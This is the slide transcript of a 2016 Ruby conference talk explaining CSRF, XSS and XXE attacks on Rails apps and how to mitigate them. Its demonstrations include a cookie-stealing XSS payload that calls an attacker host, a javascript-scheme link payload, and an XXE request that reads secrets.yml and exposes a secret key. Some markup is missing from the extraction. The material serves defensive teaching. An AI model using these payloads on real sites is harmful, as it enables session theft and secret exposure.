Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Security is Broken: Understanding Common Vulnerabilties

Security is Broken: Understanding Common Vulnerabilties

Brighton Ruby 2016

Eileen M. Uchitelle

July 08, 2016
Tweet

More Decks by Eileen M. Uchitelle

Other Decks in Technology

Transcript

  1. SECURITY IS BROKEN
    Understanding Common Vulnerabilities

    View Slide

  2. View Slide

  3. EILEEN M. UCHITELLE
    Security, Infrastructure & Performance
    Team at Basecamp
    ! eileencodes.com
    " @eileencodes
    # @eileencodes
    ! speakerdeck.com/eileencodes

    View Slide

  4. OPEN SOURCE
    Rails Committers
    Rails Security

    View Slide

  5. View Slide

  6. View Slide

  7. How is security
    broken?

    View Slide

  8. • Impossible to test for all possible
    vulnerabilities
    How is security broken?

    View Slide

  9. • Impossible to test for all possible
    vulnerabilities
    • Hackers are always one step ahead
    How is security broken?

    View Slide

  10. • Impossible to test for all possible
    vulnerabilities
    • Hackers are always one step ahead
    • Patching one vulnerability can lead to
    exposing new ones
    How is security broken?

    View Slide

  11. How did we get
    here?

    View Slide

  12. • Failed to enforce web standards
    How did we get here?

    View Slide

  13. vs.

    View Slide

  14. View Slide

  15. • Failed to enforce web standards
    • Failed to implement a definition of
    security
    How did we get here?

    View Slide

  16. “...completely failed to come up with
    even the most rudimentary usable
    frameworks for understanding the
    security of modern software.”
    – Michal Zalewski, The Tangled Web

    View Slide

  17. • Failed to enforce web standards
    • Failed to implement a definition of
    security
    • Too few people understand the
    vulnerabilities
    How did we get here?

    View Slide

  18. View Slide

  19. CSRF

    View Slide

  20. CSRF
    Cross-Site Request Forgery

    View Slide

  21. EXPLOITING CSRF

    View Slide

  22. JESSIE
    The Hacker
    ARYA
    The User

    View Slide

  23. View Slide

  24. View Slide


  25. Name

    Email

    Website



    View Slide

  26. View Slide

  27. Looks the same, different URL

    View Slide



  28. Name

    Email

    Website




    View Slide


  29. Name

    Email

    Website



    Jessie’s email

    View Slide



  30. Name

    Email

    Website




    Auto-submit form

    View Slide



  31. Name

    Email

    Website




    Auto-submit form
    to victim site

    View Slide

  32. Jessie’s email

    View Slide

  33. How dangerous are
    CSRF attacks?

    View Slide

  34. How can we protect

    our users from

    CSRF attacks?

    View Slide

  35. • Use built-in framework CSRF protection
    How to mitigate CSRF?

    View Slide

  36. View Slide

  37. class ApplicationController < ActionController::Base
    protect_from_forgery with: :exception
    end

    View Slide


  38. name=authenticity_token" />
    Name

    Email

    Website



    CSRF protection

    View Slide

  39. Caveat:
    CSRF protection in Rails is
    order-dependent

    View Slide

  40. class ApplicationController < ActionController::Base
    before_action :authenticate
    protect_from_forgery with: :exception,
    if: -> { authenticate_method.web? }
    end

    View Slide

  41. class ApplicationController < ActionController::Base
    before_action :authenticate
    protect_from_forgery with: :exception,
    if: -> { authenticate_method.web? }
    end
    Conditional
    authentication

    View Slide

  42. class ApplicationController < ActionController::Base
    before_action :authenticate
    protect_from_forgery with: :exception,
    if: -> { authenticate_method.web? }
    end
    class ChatsController < ApplicationController
    skip_before_action :authenticate
    before_action :authenticate_for_chat, only: :create
    end

    View Slide

  43. class ApplicationController < ActionController::Base
    before_action :authenticate
    protect_from_forgery with: :exception,
    if: -> { authenticate_method.web? }
    end
    class ChatsController < ApplicationController
    skip_before_action :authenticate
    before_action :authenticate_for_chat, only: :create
    end
    Skip auth callback

    View Slide

  44. >> ChatsController._process_action_callbacks.map(&:filter)
    =>[
    :authenticate,
    :verify_authenticity_token,
    :authenticate_for_chat
    ]
    Authentication callback
    is too late in the chain

    View Slide

  45. class ApplicationController < ActionController::Base
    before_action :authenticate
    protect_from_forgery with: :exception,
    if: -> { authenticate_method.web? }
    end
    class ChatsController < ActionController::Base
    skip_before_action :authenticate
    before_action :authenticate_for_chat, only: :create
    protect_from_forgery with: :exception,
    if: -> { authenticate_method.web? }
    end

    View Slide

  46. >> ChatsController._process_action_callbacks.map(&:filter)
    =>[
    :authenticate,
    :authenticate_for_chat,
    :verify_authenticity_token
    ]
    Corrected
    callback order

    View Slide

  47. View Slide

  48. • Use built-in framework CSRF protection
    • Refresh tokens with the session / don’t
    reuse tokens
    How to mitigate CSRF?

    View Slide

  49. class SessionsController < ApplicationController
    def destroy
    sign_out
    reset_session
    redirect_to sign_in_url
    end
    end
    Refreshes
    Authenticity Token

    View Slide

  50. • Use built-in framework CSRF protection
    • Refresh tokens with the session / don’t
    reuse tokens
    • Mitigate XSS attacks
    How to mitigate CSRF?

    View Slide

  51. XSS

    View Slide

  52. XSS
    Cross-Site Scripting

    View Slide

  53. EXPLOITING STORED XSS

    View Slide

  54. View Slide

  55. <br/>document.write(<br/>'<img src=“http://www.hax0rcats.com/'<br/>+ document.cookie + '">'<br/>);<br/>
    automatic protection. Let’s say for some reason you wanted to allow the user to dress up their name by adding html tags. To

    View Slide

  56. View Slide

  57. Escaped HTML

    View Slide

  58. Profile
    <%= notice %>

    Name:
    <%= @user.name %>


    Email:
    <%= @user.email %>


    Website:
    <%= link_to('website', @user.website) %>

    <%= link_to 'Edit', edit_user_path(@user) %> |
    <%= link_to 'Back', users_path %>

    View Slide

  59. Profile
    <%= notice %>

    Name:
    <%= (@user.name).html_safe %>


    Email:
    <%= @user.email %>


    Website:
    <%= link_to('website', @user.website) %>

    <%= link_to 'Edit', edit_user_path(@user) %> |
    <%= link_to 'Back', users_path %>
    automatic protection. Let’s say for some reason you wanted to allow the user to dress up their name by adding html tags. To

    View Slide

  60. View Slide

  61. JavaScript Scheme

    View Slide

  62. View Slide

  63. javascript://example.com/%0Aalert(1)

    View Slide

  64. example.com/%0Aalert(1)
    JavaScript Scheme
    javascript://

    View Slide

  65. javascript://example.com/%0Aalert(1)
    URL
    example.com

    View Slide

  66. Percent encoded “line feed”
    javascript://example.com/%0Aalert(1)
    %0A

    View Slide

  67. JavaScript Alert
    javascript://example.com/%0Aalert(1)
    alert(1)

    View Slide

  68. How dangerous are
    XSS attacks?

    View Slide

  69. How can we protect

    our users from

    XSS attacks?

    View Slide

  70. • Always escape user-provided data
    How to mitigate XSS?

    View Slide

  71. Profile
    <%= notice %>

    Name:
    <%= (@user.name).html_safe %>


    Email:
    <%= @user.email %>


    Website:
    <%= link_to('website', @user.website) %>

    <%= link_to 'Edit', edit_user_path(@user) %> |
    <%= link_to 'Back', users_path %>
    Don’t do this

    View Slide

  72. View Slide

  73. • Don’t HTML escape user-provided data
    • Sanitize user-provided data
    How to mitigate XSS?

    View Slide

  74. Profile
    <%= notice %>

    Name:
    <%= sanitize(@user.name) %>


    Email:
    <%= @user.email %>


    Website:
    <%= link_to('website', @user.website) %>

    <%= link_to 'Edit', edit_user_path(@user) %> |
    <%= link_to 'Back', users_path %>
    Will strip out unwanted
    tags and attributes

    View Slide

  75. • Don’t HTML escape user-provided data
    • Sanitize user-provided data
    • Validate user-provided data
    How to mitigate XSS?

    View Slide

  76. class User < ActiveRecord::Base
    WHITELISTED_URI_SCHEMES = %w( http https )
    validate :check_uri_scheme
    private
    def check_uri_scheme
    begin
    uri = URI.parse(website)
    unless WHITELISTED_URI_SCHEMES.include?(uri.scheme.downcase)
    errors.add :website, 'is not an allowed URI scheme'
    end
    rescue URI::InvalidURIError
    errors .add :website, 'is not a valid URI'
    end
    end
    end

    View Slide

  77. class User < ActiveRecord::Base
    WHITELISTED_URI_SCHEMES = %w( http https )
    validate :check_uri_scheme
    private
    def check_uri_scheme
    begin
    uri = URI.parse(website)
    unless WHITELISTED_URI_SCHEMES.include?(uri.scheme.downcase)
    errors.add :website, 'is not an allowed URI scheme'
    end
    rescue URI::InvalidURIError
    errors .add :website, 'is not a valid URI'
    end
    end
    end

    View Slide

  78. class User < ActiveRecord::Base
    WHITELISTED_URI_SCHEMES = %w( http https )
    validate :check_uri_scheme
    private
    def check_uri_scheme
    begin
    uri = URI.parse(website)
    unless WHITELISTED_URI_SCHEMES.include?(uri.scheme.downcase)
    errors.add :website, 'is not an allowed URI scheme'
    end
    rescue URI::InvalidURIError
    errors .add :website, 'is not a valid URI'
    end
    end
    end

    View Slide

  79. XXE

    View Slide

  80. XXE
    XML eXternal Entity Attack

    View Slide



  81. ]>

    Take a nap
    Go on a long walk with my hooman
    &ext1;
    Take another nap
    Go to bed

    View Slide



  82. ]>

    Take a nap
    Go on a long walk with my hooman
    &ext1;
    Take another nap
    Go to bed

    Entity reference

    View Slide


  83. Eat breakfast
    Bark at the mail carrier

    View Slide



  84. Take a nap
    Go on a long walk with my hooman
    Eat breakfast
    Bark at the mail carrier
    Take another nap
    Go to bed

    View Slide

  85. EXPLOITING XXE

    View Slide

  86. class UsersController < ApplicationController
    def create
    @user = User.new(user_params)
    respond_to do |format|
    if @user.save
    format.html { redirect_to @user }
    format.xml { render :xml => @user.to_xml }
    else
    format.html { render :new }
    format.xml { render xml: @user.errors.to_xml }
    end
    end
    end
    end

    View Slide

  87. class UsersController < ApplicationController
    def create
    @user = User.new(user_params)
    respond_to do |format|
    if @user.save
    format.html { redirect_to @user }
    format.xml { render :xml => @user.to_xml }
    else
    format.html { render :new }
    format.xml { render xml: @user.errors.to_xml }
    end
    end
    end
    end
    XML

    View Slide

  88. config/secrets.yml">
    ]>

    &name;

    View Slide

  89. config/secrets.yml">
    ]>

    &name;

    Requested file

    View Slide

  90. config/secrets.yml">
    ]>

    &name;

    Entity reference

    View Slide

  91. curl -X 'POST'
    -H 'Content-Type: application/xml'
    -d @xxe.xml
    http://dogbook.com/users.xml
    POST request to
    users create

    View Slide

  92. curl -X 'POST'
    -H 'Content-Type: application/xml'
    -d @xxe.xml
    http://dogbook.com/users.xml
    Payload

    View Slide

  93. curl -X 'POST'
    -H 'Content-Type: application/xml'
    -d @xxe.xml
    http://dogbook.com/users.xml


    ...
    production:
    secret_key_base:
    271a389cf7bf7b4ff18af3e809241603802b5ff1617b5432a41ff0f99d5
    f29c897db7f07a9cebd9e3a3535301720c0b19ac4eb82afa505ed229c40
    00e166a9a5
    ...


    secrets.yml
    as user’s name

    View Slide

  94. View Slide

  95. How dangerous are
    XXE attacks?

    View Slide

  96. View Slide

  97. How can we protect

    our servers from

    XXE attacks?

    View Slide

  98. • Don’t parse XML
    How to mitigate XXE?

    View Slide

  99. Don’t parse XML

    View Slide

  100. • Don’t parse XML
    • Don’t use parsers that allow entity
    replacement (LibXML)
    How to mitigate XXE?

    View Slide

  101. >> LibXML::XML.default_substitute_entities
    >> true

    View Slide

  102. • Don’t parse XML
    • Don’t use parsers that allow entity
    replacement (LibXML)
    • Whitelist known entities
    How to mitigate XXE?

    View Slide

  103. Investigate vulnerabilities & patches
    SECURITY

    View Slide

  104. GitHub

    eileencodes/security_examples

    View Slide

  105. owasp.org

    View Slide

  106. View Slide

  107. Brakeman

    View Slide

  108. Resilience & empowerment
    SECURITY

    View Slide

  109. View Slide

  110. Awareness of vulnerabilities
    SECURITY

    View Slide

  111. JESSIE
    The Hacker
    ARYA
    The User

    View Slide

  112. View Slide

  113. To the future

    View Slide

  114. EILEEN M. UCHITELLE
    Security, Infrastructure & Performance
    Team at Basecamp
    ! eileencodes.com
    " @eileencodes
    # @eileencodes
    ! speakerdeck.com/eileencodes

    View Slide